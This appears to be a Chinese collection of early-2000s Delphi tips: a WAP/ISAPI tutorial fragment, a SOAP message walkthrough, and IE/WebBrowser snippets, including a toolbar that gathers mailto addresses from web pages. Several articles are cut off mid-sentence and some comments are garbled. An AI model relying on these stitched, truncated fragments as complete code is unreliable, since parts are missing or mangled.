'value="' + HTTPEncode(CustID) + '"/ >' + CRLF +

' < /go >' + CRLF + ' < /onevent >' + CRLF +

' < timer value="30"/ >' + CRLF + ' < p >' +

CRLF + ' < b >Customer info succesfully '+

'modified.< /b >< br/ >' + CRLF + ' < /p >' + CRLF +

'< /card >' + CRLF + CRLF + '< /wml >' + CRLF;

end

else

Content := InvalidIDPageWML;

finally

Customer.Close;

end;

end;

Handled := True;

end;

---- figure6:存储用户输入的数据到customer表中。

---- 这段代码从Request.ContentFields 属性中提取新的客户信息，然后在Customer 表中查找正确的客户记录，然后调用Edit方法把这个表转入dsEdit状态，设置字段值（fields）,最后调用Post方法提交记录。

---- 测试海上冒险程序为测试这个程序，你需要有一个Web服务器，它上面能运行ISAPI系统。这个例程已经在Microsoft IIS4.0下测试通过，但她应该也能够在其他的兼容产品上或者是IIS的其他版本的系统上运行。除了这台Web服务器之外，你还需要下在并安装Nokia WAP Toolkit version 1 。（截稿时，Nokia WAP Toolkit 1.3 的测试版本提供下载）。这个产品可以从Nokia的WAP站点免费下载 (Http://www.delphizine.com/include/Click_Redir.asp?Url=http://www.forum.nokia.com/. ) 这个开发工具不需要安装在和WEB服务器的同一台计算机上，因为说有它需要的仅仅是能通过IP网络连接到WEB服务器。当这个WAP开发工具打开时，他会显示一个欢迎项目（参见图2）。这个开发系统能模拟两个移动电话模块。为实现MAOOQS，使用这个开发工具参数菜单命令选择Nokia 6110型的电话。

---- 为定位这个程序的登录屏幕，从Go菜单的中选中Load Location command ，键入登录的login.wml文件的URL：http://localhost/login.wml.注意在做这些操作之前，这个login.wml文件需要被拷贝到web服务器的publish目录的根目录下面，不用说这时这台web服务器比喻已经成功的运行MAOOQS。

---- 下图显示的是我们的测试的海上探险应用程序的相关的屏幕。当这个login.wml文件被成功的登录之后，你将很快看到步骤1中的"Welcome to" 屏幕，几秒钟后，屏幕自动切换到step 2,为在输入字段中输入文本，点击wap电话键盘区的左上角的蓝色的"/"符号。点中之后，wap电话屏幕的左下角写的是"Edit"，如果它写的是"Login"，你需要点击上、下箭头按钮，因为这时不是编辑状态。

---- 当成功点中Edit 命令时，屏幕显示如step3所示的完整的文本输入编辑器。customer ID 字段只能输入数字，所以点击数字键一一输入相应的数字，如果你输入出错的话，右边的"/" 可以擦去最后一个字符。password 字段中可以输入字母和数字，所以你就输入相应的的password，有时你可能需要重复点击数字键以输入字母，例如：如果你需要输入字母"B"，你需要快速点击按钮"1"两次惨能够输入这个字母。如果你使用移动电话输入文本的话，你就必须知道这种输入文本的方法。

---- 上图是Nokia 6110手机扩大的屏幕，这些step简介在MAOOQS程序中出现的次序从dll来的请求数据

---- 当the customer ID 和password 成功输入后，你将发现屏幕又出现了step 2中的画面。 稍稍等待"Login" 命令被激活，然后点击"/"按钮来选中命令，这将处理这个登录过程选中Login 命令来使得这台wap移动电话连接到web服务器的/scripts/ 目录中的 MA_OOQS ISAPI应用程序，当然了，这时ISAPI DLL 已经被放置到web服务器的/scripts/ 目录中，并且这台web服务器有足够的权限正常执行这些dll，如果每一步都很正常的话，这台wap移动电话就会接受到从dll返回回来的正常的wml数据。如果输入了不正确的customer ID 或者 password两者中任一项的话，就会显示如 setp 4中所示的屏幕，显示出不正确的ID屏幕；正常的话，显示如step 5中所示的主菜单。

---- wap移动电话上的箭头键是的你可以选择菜单命令中的项。点击"/"按钮，屏幕会显示如step 6所使得用户信息的屏幕，或者是订单细节的如step 9中的屏幕。再次按下"/"允许你在这三个页面之间相互切换。如果你使用如step 7中的屏幕中的Modify Info 命令来改变客户的信息的话，你将看到如setp 8所示的调整窗口。值得注意的是，wap设备通常没有"log out"


跨越多个Service的Soap调用

下面就是这一个跨越多个Service的调用的SOAP消息示例：

POST /AccountAuthentication HTTP/1.1
Host: port.CA.com.cn
Content-Type: text/xml; charset="utf-8"
Content-Length: nnnn
SOAPAction: "Some-URI"

<SOAP-ENV:Envelope
xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/”
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Header>
<uniB2B:RequestAuthentication xmlns:uniB2B=”Some-URI”>
<AccountName>DealEasy</AccountName>
<AccountPassword>12345</AccountPassword>
</uniB2B:RequestAuthentication>
<uniB2B:RequestProductInfo xmlns:uniB2B=”Some-URI”
targetEMarketplace=”http://service.eMarketplace.com.cn/ProductQuote”>
<ProductID>Jaguar_X_Type</ProductID >
<FinalUsage function="RequestPurchaseOrder" />
</uniB2B:RequestProductInfo>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<uniB2B:RequestPurchaseOrder xmlns:uniB2B ="Some-URI">
<ProductID>Jaguar_X_Type</ProductID >
</uniB2B:RequestPurchaseOrder >
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

我们来看看这个SOAP到底有一些什么内容。

开头部分：
POST /AccountAuthentication HTTP/1.1
Host: port.CA.com.cn
Content-Type: text/xml; charset="utf-8"
Content-Length: nnnn
SOAPAction: "Some-URI"

是基本的HTTP发送协议，其实这不是必须的，只是当你选用HTTP作为你的SOAP载体时才需要的。这里我们跳过不说，
如果想知道具体的HTTP协议内容，可以参考相关资料。

接下来一大块就是我们所关心的SOAP消息内容了。我们看到，这个消息是由<SOAP-ENV:Envelope .......> 和
</SOAP-ENV:Envelope> 两个标志符括起来的。其中：
xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/”
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
这里指定了两个命名空间。所有的SOAP消息都是使用XML格式来编码的。SOAP应用程序在生成由SOAP定义的所有
元素和属性的时候，应该包含恰当的SOAP的命名空间。SOAP应用程序必须能处理其收到的消息中的SOAP命名空
间。它必须丢弃那些包含不正确命名空间的消息，并且可以处理那些不包含SOAP命名空间的SOAP消息，就好象
他们包含了正确的命名空间一样。关于什么叫做命名空间以及相关的Schema、XML语法，可以查看XML相关资料。
接下来我们看到两部分：Header和Body。一个SOAP必须包含Body,而Header是可选的。Body是最终接收者所想
要得到消息部分。而Header是用于“附加”处理的消息部分。在本例里，最终接收者想知道ProductID的资料，而
想知道这些资料，则必须经过：Authentication服务的AccountName和AccountPassword，也就是：
<uniB2B:RequestAuthentication xmlns:uniB2B=”Some-URI”>
<AccountName>DealEasy</AccountName>
<AccountPassword>12345</AccountPassword>
</uniB2B:RequestAuthentication>
这一部分。然后再经过ProductInfo服务，获得ProductID和FinalUsage相关资料。也就是：
<uniB2B:RequestProductInfo xmlns:uniB2B=”Some-URI”
targetEMarketplace=”http://service.eMarketplace.com.cn/ProductQuote”>
<ProductID>Jaguar_X_Type</ProductID >
<FinalUsage function="RequestPurchaseOrder" />
</uniB2B:RequestProductInfo>
这一部分。这样，一个SOAP消息在到达最终目的地时，会先经过两个不同的服务，取得相关的信息资料后，在
到达最后目的地。这就是最后部分Body的内容了：
<SOAP-ENV:Body>
<uniB2B:RequestPurchaseOrder xmlns:uniB2B ="Some-URI">
<ProductID>Jaguar_X_Type</ProductID >
</uniB2B:RequestPurchaseOrder >
</SOAP-ENV:Body>

注意到uniB2B这个东西了吗？这个标志没有特殊的意义，在XML里，元素标志是由人任意定制的，事实上，完全可以
把uniB2B这个标志换成我们喜欢的东西如：mydog 等等。

到此，我们对一个SOAP消息有了个感性地认识，总结一下：
1 一个SOAP消息由下面成员组成：
* Envelope --- 用来表示该消息的XML元素
* Header --- 用来处理为消息增加附加特定内容的部分
* Body --- 用来交给最终用户处理的部分
2 是否必须出现：
* Envelope --- 是，可以有下级元素，需要命名空间修饰
* Header --- 否，可以有下级元素
* Body --- 是，可以有下级元素

3 SOAP可以使用各种现成协议作为载体，象本例使用了HTTP协议作为载体。而程序员完全可以通过SOCKET，自己
定义一套发送、接收SOAP的处理机制。
因此，我们完全可以认为，SOAP就是一套定义了特定格式的XML数据。就象SOCKET一样，当一个SOCKET有了某种
特定的格式之后，也就成为了某种协议，如HTTP、FTP等等。但是SOAP又有些不同，因为SOAP是基于XML的，因此在
定义时，又会有很大的灵活性，这也要求定义SOAP具体格式时，收发双方要有一个互通的定义。例如上面说的
uniB2B，如果事先不定义好有这个标识符，可能对方就难以解析这个SOAP消息。

以下是回应SOAP消息的答复：
HTTP/1.1 200 OK
Content-Type: text/xml; charset="utf-8"
Content-Length: nnnn

<SOAP-ENV:Envelope
xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/”
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<uniB2B:ResponsePurchaseOrder xmlns:uniB2B ="Some-URI">
<OrderID>AJR786503</OrderID>
<AuthenticatedID>76E4#12A@-98JA#V5GQ</AuthenticatedID>
<ProductID>Jaguar_X_Type</ProductID >
<ProductPrice>243900.00</ProductPrice>
<ProductNumber>1</ProductNumber>
<IssueDate>2001-4-1</IssueDate>
</uniB2B:ResponsePurchaseOrder >
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

在DELPHI6推出后，很多朋友纷纷都开始学用DELPHI的各种控件来学习SOAP。其实个人认为还是应该先了解一下
SOAP的协议比较好。否则，很可能成为一个能“写”SOAP程序的，却不知道SOAP协议是什么的人。这种例子已经
很多了，在RAD发达的今天，很多人顺手拿个HTTP的控件就开始写HTTP程序了，但却压根不知道HTTP协议是啥样子
的。

试试看，不依靠DELPHI6的那组控件，我们要写个SOAP的程序，该怎么下手。以下是我的一点体会：
SOAP就是一个传送数据的协议，所以可以与各种应用无关。SOAP并非就一定要用在WEBSERVICE上面，也并非
就必须用HTTP协议来传送。而不管用什么协议接收到SOAP消息后，都可以使用DOM的API进行XML数据解析。我们
再回过头来看看刚才的例子，假设这样一个场景： 有4台机器，一个客户端，3台服务器。互相之间使用SOCKET
作为通信手段：

客户机 -----------> 权限验证服务器 ------> 产品信息服务器 -------> 数据处理服务器

客户端仍然是发送刚才那个SOAP消息，权限验证服务器接到消息后，查看：
<uniB2B:RequestAuthentication xmlns:uniB2B=”Some-URI”>
<AccountName>DealEasy</AccountName>
<AccountPassword>12345</AccountPassword>
</uniB2B:RequestAuthentication>
然后调用DOM的API，指向<AccountName>和<AccountPassword>节点，分别获得相关数据。通过验证后，把消息
再转发给产品信息服务器。产品信息服务器收到消息后，再查看：
<uniB2B:RequestProductInfo xmlns:uniB2B=”Some-URI”
targetEMarketplace=”http://service.eMarketplace.com.cn/ProductQuote”>
<ProductID>Jaguar_X_Type</ProductID >
<FinalUsage function="RequestPurchaseOrder" />
</uniB2B:RequestProductInfo>
再调用DOM，获得<ProductID>和<FinalUsage ...>的信息，再次转发给数据处理服务器。数据处理服务器读取
Body部分，将<ProductID>信息读取，进行运算，得到结果，然后把SOCKET发回给客户机。客户机根据DOM，把
相关的各部分：<OrderID>、<AuthenticatedID>、<ProductID>、<ProductPrice>等读取出来，然后显示给客户。
好了，一次简单的SOAP之旅就完成了。：）
当然，在实际运用中，可能会碰到复杂得多的情况。可是不管怎么样，知道基本的原理，也就有了破解困难的
最终钥匙。所以：


管理收藏夹

const
CLSID_ShellUIHelper: TGUID = '{64AB4BB7-111E-11D1-8F79-00C04FC2FBE1}';

procedure TForm1.OrganizeFavorites1Click(Sender: TObject);
var
H: HWnd;
p: procedure(Handle: THandle; Path: PChar); stdcall;
begin
H := LoadLibrary(PChar('shdocvw.dll'));
if H <> 0 then
begin
p := GetProcAddress(H, PChar('DoOrganizeFavDlg'));
if Assigned(p) then p(Application.Handle, PChar(Favorites1.Hint));
end;
FreeLibrary(h);
end;

procedure TForm1.AddtoFavorites1Click(Sender: TObject);
var
ShellUIHelper: ISHellUIHelper;
url, title: Olevariant;
begin
Title := EmbeddedWB1.LocationName;
Url := EmbeddedWB1.LocationUrl;
if Url <> '' then
begin
ShellUIHelper := CreateComObject(CLSID_SHELLUIHELPER) as IShellUIHelper;
ShellUIHelper.AddFavorite(url, title);
end;
end;


清除Internet Explorer临时文件

在TfrmMain你必须引用WinINet单元：

Uses WinINet;

然后放上一个TButton按钮命名为btnEmptyCache，加入以下代码：

Procedure TfrmMain.btnEmptyCacheClick( Sender : TObject );

Var

lpEntryInfo : PInternetCacheEntryInfo;

hCacheDir : LongWord;

dwEntrySize : LongWord;

dwLastError : LongWord;

Begin

dwEntrySize := 0;

FindFirstUrlCacheEntry( NIL, TInternetCacheEntryInfo( NIL^ ), dwEntrySize );

GetMem( lpEntryInfo, dwEntrySize );

hCacheDir := FindFirstUrlCacheEntry( NIL, lpEntryInfo^, dwEntrySize );

If ( hCacheDir <> 0 ) Then

DeleteUrlCacheEntry( lpEntryInfo^.lpszSourceUrlName );

FreeMem( lpEntryInfo );

Repeat

dwEntrySize := 0;

FindNextUrlCacheEntry( hCacheDir, TInternetCacheEntryInfo( NIL^ ), dwEntrySize );

dwLastError := GetLastError();

If ( GetLastError = ERROR_INSUFFICIENT_BUFFER ) Then Begin

GetMem( lpEntryInfo, dwEntrySize );

If ( FindNextUrlCacheEntry( hCacheDir, lpEntryInfo^, dwEntrySize ) ) Then

DeleteUrlCacheEntry( lpEntryInfo^.lpszSourceUrlName );

FreeMem(lpEntryInfo);

End;

Until ( dwLastError = ERROR_NO_MORE_ITEMS );

End;


使webbrowser里的link点击后在webbrowser里直接显示

 procedure TForm1.FormCreate(Sender: TObject);
begin
WebBrowser1.Navigate('http://www.codelphi.com/forum');
end;

procedure TForm1.WebBrowser1NewWindow2(Sender: TObject;
var ppDisp: IDispatch; var Cancel: WordBool);
var
NewApp: TForm1;
begin
NewApp := TForm1.Create(nil);
NewApp.Visible := true;
ppDisp := NewApp.webbrowser1.Application;
end;
投稿人：大鱼儿　投稿日期：2001-5-26 17:18:00


直接在WebBrowser中显示字符串

//江雪 2001.06  http://asnowcn.at.china.com
//直接在WebBrowser中显示字符串
procedure
ShowInWebBrowser(WebB:TWebBrowser;Str:String);
var
v:
Variant;
HTMLDocument: IHTMLDocument2;
begin
HTMLDocument
:= WebB.Document as IHTMLDocument2;
if (assigned(HtmlDocument))
then  begin
v := VarArrayCreate([0, 0],
varVariant);
v[0] := str; //that is to be shown
HTMLDocument.Write(PSafeArray(TVarData(v).VArray));
HTMLDocument.Close;
end;
end;


往IE中嵌入工具条

我们首先要建立一个ActiveX Library。将其保存为MailIEBand.Dpr；然后建立一个COM Object，将其保存为BandUnit.pas；然后建立一个Form，这个窗口将作为子窗口显示在IE工具栏中，将窗口的BorderStyle属性改为bsNone，添加一个TButton组件和一个TComboBox组件，将TButton的Caption属性改为获取全部，然后将窗口文件其保存为IEForm.pas。
在BandUnit中，需要建立一个实现上面提到的接口的TComObject对象。如下：
TGetMailBand = class(TComObject, IDeskBand, IObjectWithSite, IPersistStreamInit)

另外由于需要在COM服务器注册时添加一些注册表信息，所以还需要建立一个继承自TComObjectFactory类的对象，在对象的UpdateRegistry事件中编写代码添加附加的注册表信息。
下面的程序清单1-6到1-8是实现COM服务器的全部程序代码：

程序清单1-6 MailIEBand.dpr
library MailIEBand;

uses
ComServ,
BandUnit in 'BandUnit.pas',
IEForm in 'IEForm.pas' {Form1},
MailIEBand_TLB in 'MailIEBand_TLB.pas';

exports
DllGetClassObject,
DllCanUnloadNow,
DllRegisterServer,
DllUnregisterServer;

{$R *.TLB}

{$R *.RES}

begin
end.

程序清单1-7 BandUnit.pas

unit BandUnit;

interface

uses
Windows, Sysutils, Messages, Registry, Shellapi, ActiveX, Classes, ComObj,
Shlobj, Dialogs, Commctrl,ShDocVW,IEForm;

type
TGetMailBand = class(TComObject, IDeskBand, IObjectWithSite,
IPersistStreamInit)
private
frmIE:TForm1;
m_pSite:IInputObjectSite;
m_hwndParent:HWND;
m_hWnd:HWND;
m_dwViewMode:Integer;
m_dwBandID:Integer;
protected

   public
{Declare IDeskBand methods
here}
function GetBandInfo(dwBandID,
dwViewMode: DWORD; var pdbi:
TDeskBandInfo):
HResult;
stdcall;
function ShowDW(fShow: BOOL):
HResult; stdcall;
function CloseDW(dwReserved:
DWORD): HResult; stdcall;
function
ResizeBorderDW(var prcBorder: TRect; punkToolbarSite:
IUnknown;
fReserved: BOOL):
HResult; stdcall;
function GetWindow(out wnd:
HWnd): HResult; stdcall;
function
ContextSensitiveHelp(fEnterMode: BOOL): HResult; stdcall;

      {Declare IObjectWithSite methods
here}
function SetSite(const pUnkSite:
IUnknown ):HResult; stdcall;
function
GetSite(const riid: TIID; out site: IUnknown):HResult;stdcall;

      {Declare IPersistStream methods
here}
function GetClassID(out classID:
TCLSID): HResult; stdcall;
function IsDirty:
HResult; stdcall;
function InitNew: HResult;
stdcall;
function Load(const stm: IStream):
HResult; stdcall;
function Save(const stm:
IStream; fClearDirty: BOOL): HResult; stdcall;
function GetSizeMax(out cbSize: Largeint): HResult; stdcall;
end;

const
Class_GetMailBand: TGUID = '{954F618B-0DEC-4D1A-9317-E0FC96F87865}';
//以下是系统接口的IID
IID_IUnknown: TGUID = (
D1:$00000000;D2:$0000;D3:$0000;D4:($C0,$00,$00,$00,$00,$00,$00,$46));
IID_IOleObject: TGUID = (
D1:$00000112;D2:$0000;D3:$0000;D4:($C0,$00,$00,$00,$00,$00,$00,$46));
IID_IOleWindow: TGUID = (
D1:$00000114;D2:$0000;D3:$0000;D4:($C0,$00,$00,$00,$00,$00,$00,$46));

IID_IInputObjectSite : TGUID = (
D1:$f1db8392;D2:$7331;D3:$11d0;D4:($8C,$99,$00,$A0,$C9,$2D,$BF,$E8));
sSID_SInternetExplorer : TGUID = '{0002DF05-0000-0000-C000-000000000046}';
sIID_IWebBrowserApp : TGUID= '{0002DF05-0000-0000-C000-000000000046}';

//面板所允许的最小宽度和高度。
MIN_SIZE_X = 54;
MIN_SIZE_Y = 22;
EB_CLASS_NAME = 'GetMailAddress';
implementation

uses ComServ;

function TGetMailBand.GetWindow(out wnd: HWnd): HResult;
stdcall;
begin
wnd:=m_hWnd;
Result:=S_OK;
end;

function TGetMailBand.ContextSensitiveHelp(fEnterMode: BOOL): HResult; stdcall;
begin
Result:=E_NOTIMPL;
end;

function TGetMailBand.ShowDW(fShow: BOOL): HResult; stdcall;
begin
if m_hWnd<>0 then
if fShow then
ShowWindow(m_hWnd,SW_SHOW)
else
ShowWindow(m_hWnd,SW_HIDE);
Result:=S_OK;
end;

function TGetMailBand.CloseDW(dwReserved: DWORD): HResult; stdcall;
begin
if frmIE<>nil then
frmIE.Destroy;
Result:= S_OK;
end;

function TGetMailBand.ResizeBorderDW(var prcBorder: TRect;
punkToolbarSite: IUnknown;fReserved: BOOL): HResult; stdcall;
begin
Result:=E_NOTIMPL;
end;

function TGetMailBand.SetSite(const pUnkSite: IUnknown):HResult;stdcall;
var
pOleWindow:IOleWindow;
pOLEcmd:IOleCommandTarget;
pSP:IServiceProvider;
rc:TRect;
begin
if Assigned(pUnkSite) then begin
m_hwndParent := 0;

      m_pSite:=pUnkSite as
IInputObjectSite;
pOleWindow := PunkSIte as
IOleWindow;
//获得父窗口IE面板窗口的句柄
pOleWindow.GetWindow(m_hwndParent);

      if(m_hwndParent=0)then
begin
Result :=
E_FAIL;
exit;
end;

//获得父窗口区域
GetClientRect(m_hwndParent, rc);

if not Assigned(frmIE) then begin
//建立TIEForm窗口，父窗口为m_hwndParent
frmIE:=TForm1.CreateParented(m_hwndParent);

m_Hwnd:=frmIE.Handle;

         SetWindowLong(frmIE.Handle,
GWL_STYLE,
GetWindowLong(frmIE.Handle,
GWL_STYLE) Or WS_CHILD);
//根据父窗口区域设置窗口位置
with frmIE
do begin
Left :=rc.Left
;
Top:=rc.top;
Width:=rc.Right -
rc.Left;
Height:=rc.Bottom - rc.Top;
end;
frmIE.Visible :=
True;

//获得与浏览器相关联的Webbrowser对象。
pOLEcmd:=pUnkSite as
IOleCommandTarget;
pSP:=pOLEcmd as  IServiceProvider;

if Assigned(pSP)then begin
pSP.QueryService(IWebbrowserApp, IWebbrowser2,frmIE.IEThis);
end;
end;
end;

Result := S_OK;
end;

function TGetMailBand.GetSite(const riid: TIID; out site: IUnknown):HResult;stdcall;
begin
if Assigned(m_pSite) then result:=m_pSite.QueryInterface(riid, site)
else
Result:= E_FAIL;
end;

function TGetMailBand.GetBandInfo(dwBandID, dwViewMode: DWORD; var pdbi: TDeskBandInfo):
HResult; stdcall;
begin
Result:=E_INVALIDARG;
if not Assigned(frmIE) then frmIE:=TForm1.CreateParented(m_hwndParent);
if(@pdbi<>nil)then begin
m_dwBandID := dwBandID;
m_dwViewMode := dwViewMode;

if(pdbi.dwMask and DBIM_MINSIZE)<>0 then begin
pdbi.ptMinSize.x := MIN_SIZE_X;
pdbi.ptMinSize.y := MIN_SIZE_Y;
end;

if(pdbi.dwMask and DBIM_MAXSIZE)<>0 then begin
pdbi.ptMaxSize.x := -1;
pdbi.ptMaxSize.y := -1;
end;

if(pdbi.dwMask and DBIM_INTEGRAL)<>0 then begin
pdbi.ptIntegral.x := 1;
pdbi.ptIntegral.y := 1;
end;

if(pdbi.dwMask and DBIM_ACTUAL)<>0 then begin
pdbi.ptActual.x := 0;
pdbi.ptActual.y := 0;
end;

if(pdbi.dwMask and DBIM_MODEFLAGS)<>0 then
pdbi.dwModeFlags := DBIMF_VARIABLEHEIGHT;

      if(pdbi.dwMask and DBIM_BKCOLOR)<>0
then
pdbi.dwMask :=
pdbi.dwMask and (not DBIM_BKCOLOR);
end;
end;

function TGetMailBand.GetClassID(out classID: TCLSID): HResult;
stdcall;
begin
classID:= Class_GetMailBand;
Result:=S_OK;
end;

function TGetMailBand.IsDirty: HResult; stdcall;
begin
Result:=S_FALSE;
end;

function TGetMailBand.InitNew: HResult;
begin
Result := E_NOTIMPL;
end;

function TGetMailBand.Load(const stm: IStream): HResult; stdcall;
begin
Result:=S_OK;
end;

function TGetMailBand.Save(const stm: IStream; fClearDirty: BOOL): HResult; stdcall;
begin
Result:=S_OK;
end;

function TGetMailBand.GetSizeMax(out cbSize: Largeint): HResult; stdcall;
begin
Result:=E_NOTIMPL;
end;

//TIEClassFac类实现COM组件的注册
type
TIEClassFac=class(TComObjectFactory) //
public
procedure UpdateRegistry(Register: Boolean); override;
end;

procedure TIEClassFac.UpdateRegistry(Register: Boolean);
var
ClassID: string;
a:Integer;
begin
inherited UpdateRegistry(Register);
if Register then begin
ClassID:=GUIDToString(Class_GetMailBand);
with TRegistry.Create do
try
//添加附加的注册表项
RootKey:=HKEY_LOCAL_MACHINE;
OpenKey('\SOFTWARE\Microsoft\Internet Explorer\Toolbar',False);
a:=0;
WriteBinaryData(GUIDToString(Class_GetMailBand),a,0);
OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved',True);
WriteString (GUIDToString(Class_GetMailBand),EB_CLASS_NAME);
RootKey:=HKEY_CLASSES_ROOT;
OpenKey('\CLSID\'+GUIDToString(Class_GetMailBand),False);
WriteString('',EB_CLASS_NAME);
finally
Free;
end;
end
else begin
with TRegistry.Create do
try
RootKey:=HKEY_LOCAL_MACHINE;
OpenKey('\SOFTWARE\Microsoft\Internet Explorer\Toolbar',False);
DeleteValue(GUIDToString(Class_GetMailBand));
OpenKey('\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved',False);
DeleteValue(GUIDToString(Class_GetMailBand));
finally
Free;
end;
end;
end;

initialization
TIEClassFac.Create(ComServer, TGetMailBand, Class_GetMailBand,
'GetMailAddress', '', ciMultiInstance, tmApartment);
end.

程序清单1-8 IEForm.pas

unit IEForm;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
SHDocVw,MSHTML, StdCtrls;

type
TForm1 = class(TForm)
Button1:
TButton;
ComboBox1: TComboBox;
procedure FormResize(Sender: TObject);
procedure
Button1Click(Sender: TObject);
private
{ Private
declarations }
public
IEThis:IWebbrowser2;
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormResize(Sender: TObject);
begin
With Button1
do begin
Left := 0;
Top :=
0;
Height:=Self.ClientHeight;
end;
With ComboBox1 do begin
Left := Button1.Width
+3;
Top := 0;
Height:=Self.ClientHeight;
Width:=Self.ClientWidth -
Left;
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
doc:IHTMLDocument2;
all:IHTMLElementCollection;
len,i,flag:integer;
item:IHTMLElement;
vAttri:Variant;
begin
if Assigned(IEThis)then
begin
ComboBox1.Clear;
//获得Webbrowser对象中的文档对象
doc:=IEThis.Document as
IHTMLDocument2;
//获得文档中所有的HTML元素集合
all:=doc.Get_all;

len:=all.Get_length;

    //访问HTML元素集合中的每一个元素
for i:=0 to
len-1 do begin
item:=all.item(i,varempty) as
IHTMLElement;
//如果该元素是一个链接
if item.Get_tagName = 'A'then
begin
flag:=0;
vAttri:=item.getAttribute('protocol',flag);
//获得链接属性
//如果是mailto链接则将链接的目标地址添加到ComboBox1
if vAttri = 'mailto:'then
begin
vAttri:=item.getAttribute('href',flag);
ComboBox1.Items.Add(vAttri);
end;
end;
end;
end;
end;

end.

编译工程，关闭所有的IE窗口，然后点击Delphi菜单的Run | Register ActiveX Server 项注册服务器。然后打开IE，点击菜单 察看 | 工具栏 项，可以看到子菜单中多了一个GetMailAddress项，选中改项，工具栏就出现在IE工具栏中

www.applevb.com


获取IE收藏夹内容
Helmut Dollinger

摘　要：如何从MSIE递归的读取保存的URL!
关键字：Internet-Explorer 收藏夹
类　别：网络

中文开发在线原创作品，未经允许，严禁任何形式的转载

uses shlobj;

...

function GetIEFavorites(const favpath: string):TStrings;
var searchrec:TSearchrec;
str:TStrings;
path,dir,filename:String;
Buffer: array[0..2047] of Char;
found:Integer;

begin
str:=TStringList.Create;
//取在favourites 路径下的所有名字
path:=FavPath+'\*.url';
dir:=ExtractFilepath(path);
found:=FindFirst(path,faAnyFile,searchrec);
while found = 0 do
begin
//从files变量读URLs
SetString(filename, Buffer,
GetPrivateProfileString('InternetShortcut',
PChar('URL'), NIL, Buffer, SizeOf(Buffer),
PChar(dir+searchrec.Name)));
str.Add(filename);
found := FindNext(searchrec);
end;
found:=FindFirst(dir+'\*.*',faAnyFile,searchrec);
while found=0 do
begin
if ((searchrec.Attr and faDirectory) > 0) and
(searchrec.Name[1]<>'.') then
str.AddStrings(GetIEFavorites(dir+'\'+searchrec.name));
found := FindNext(searchrec);
end;
FindClose(searchrec);
Result:=str;
end;

procedure TForm1.Button1Click(Sender: TObject);
var pidl: PItemIDList;
FavPath: array[0..MAX_PATH] of char;
begin
//获取收藏夹
SHGetSpecialFolderLocation(Handle, CSIDL_FAVORITES, pidl);
SHGetPathFromIDList(pidl, favpath);
ListBox1.Items:=GetIEFavorites(StrPas(FavPath));
end;
投稿人：CoDelphi.com　投稿日期：2001-5-19 14:57:00


TWebBrowser控件与MSHTML库连接

作者 : mutant

webbrowser控件

配置与ie的配置相同

方法一 使用document属性得到 document 层

webbrowser.document:idispatch file://是/idispatch接口

var doc: ihtmldocument2;

begin

...

try file://注/意:使用 as 时必须加try...except...end保护

doc:= (webbrowser1.document) as ihtmldocument2;

if assigned(doc) then begin file://判/断是否为空

...//具体操作

end;

except

...

end;

...

end;

方法二 使用queryinterface接口得到 window 层

webbrowser.queryinterface(iid_ihtmlwindow2, out win: ihtmlwindow2);//返回webbrowser控件的ihtmlwindow2接口

var win: ihtmlwindow2;

begin

...

try

webbrowser1.queryinterface(iid_ihtmlwindow2, win);

if assigned(win) then begin file://判/断是否为空

...//具体操作

end;

except

...

end;

...

end;


如何在IE右键菜单中添加菜单项

要实现在IE右键菜单中添加菜单项的功能，要依次实现以下步骤：

1、在注册表HKEY_CURRENT_USER\Software\Microsoft\Internet

Explorer\MenuExt项下建立一个

新项，项的名称既出现在菜单中的标题，例如你想建立的菜单项标题为Add URL，则

新建项的名称为

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\Add URL

2、将新建项的默认值设定为一个URL地址，当用户点击菜单项后，IE就会调用

URL指向的页面中的脚

本，在目标页面的脚本中通过访问external对象的menuArguments属性就可以访问IE

中的页面。该属性定

义了一个Window对象。该对象描述了浏览器中的一个打开的窗口。详细的帮助请参考

MSDN中关于

InternetExplore object的帮助，熟悉了Window对象才可以比较好的了解下面的脚

本。

对于如何实现自身的程序访问menuArguments的问题，我们可以仿效Netants的

做法，首先建立一个

OLE Automation对象，然后在脚本中调用该对象，并将页面信息传递对象处理。下面

通过Delphi建立对象

来说明：

打开Delphi，点击菜单： 文件|新建 ，选择窗口中的ActiveX标签，在列表中

选择ActiveX Library

图标后按确定键，这样就新建了一个Active Library工程。然后将工程文件保存为

IEContextMenu.dpr 。

再点击菜单： 文件|新建 ,选择窗口中的ActiveX标签，在列表中选择

Automation Object 图标后按

确定键，然后在 Automation Object Wizard 窗口中的CoClass Name栏中输入

IEMenu1后按确定键。

这时会弹出IEContextMenu.tlb 的Type Library窗口，左边是对象和属性等的列表

窗口，右边是相应的选

项窗口。在其中已经加入了IIEMenu1接口。

现在给接口添加一个AddURL方法。首先选择Type Library列表中的IIEMenu1

项，然后点击Type Library

窗口上面的 New Method 按钮添加一个方法，将该方法的Name属性改为AddURL。下

来再点击Parameters标签

转到参数设定页，添加两个参数：URL和Info，属性都设置为BSTR，设置好的Type

Library窗口如图所示：

(附加图片1-1.bmp)

关闭设置窗口回到Delphi，点击save all按钮保存文件，现在IEMenu对象建立

完毕了，在对象中我们将

只实现最简单的功能，既显示用户在页面中单击右键位置的对象URL，所以在Unit1的

TIEMenu1.AddURL子程

序中只添加一句： showmessage(URL);

同时在Unit1的Uses中加入Dialogs。选择菜单上的Build | Build

IEContextMenu 项编译生成

IEContextMenu.dll。

下面是注册对象，在资源管理器中将Windows\system目录下的Regsvr32.exe拷

贝到IEContextMenu.dll

所在目录中，然后将IEContextMenu.dll图标拖到Regsvr32.exe上放开，这时

